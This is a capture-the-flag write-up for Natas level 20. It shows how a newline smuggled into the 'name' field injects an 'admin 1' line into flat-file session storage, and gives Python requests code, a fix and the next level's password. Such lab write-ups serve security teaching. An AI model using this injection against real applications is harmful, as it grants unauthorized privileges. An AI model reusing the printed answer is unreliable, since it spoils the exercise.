Wargame: Natas
Level: 20
Category: Web Exploitation
Description
The page has a custom session storage implementation that saves session data to a flat file. Each session property is stored as key value on its own line. The goal is to set admin to 1 in the session.
Overview
- The
nameparameter is saved directly into the session file usingfputs($handle, "$key $value\n"). - No sanitization is applied to the value before writing.
- Injecting a newline character into the name creates an additional line in the session file.
- On the next request, the session file is parsed line by line, so the injected
admin 1line sets the admin flag.
Background: Newline Injection into Flat-File Session Storage
- Flat-file formats that use newlines as record separators are vulnerable when user input containing newlines is written to the file.
- This is the file-storage equivalent of HTTP header injection.
- The injected line is interpreted as a legitimate session entry because the parser has no way to distinguish it from server-written data.
- The fix is to strip or encode newline characters before writing any user-supplied value to the session file.
Solution
Step 1: Inject the Newline
- Submit a POST request with
name = "admin\nadmin 1". - The session file is written as two lines:
name adminandadmin 1.
data = {"name": "admin\nadmin 1", "debug": ""}
r = requests.post(url, auth=auth, data=data)
session_id = r.cookies["PHPSESSID"]
Step 2: Re-read the Session
- Make a second request with the same
PHPSESSIDcookie and an empty POST body. - The session file is loaded; the parser reads
admin 1and sets$_SESSION['admin'] = 1.
r = requests.post(
url,
auth=auth,
data={"debug": ""},
cookies={"PHPSESSID": session_id},
)
Step 3: Extract the Password
- With
admin == 1, the server prints the natas21 password in the response.
Password
89OWrTkGmiLZLv12JY4tLj2c4FW0xn56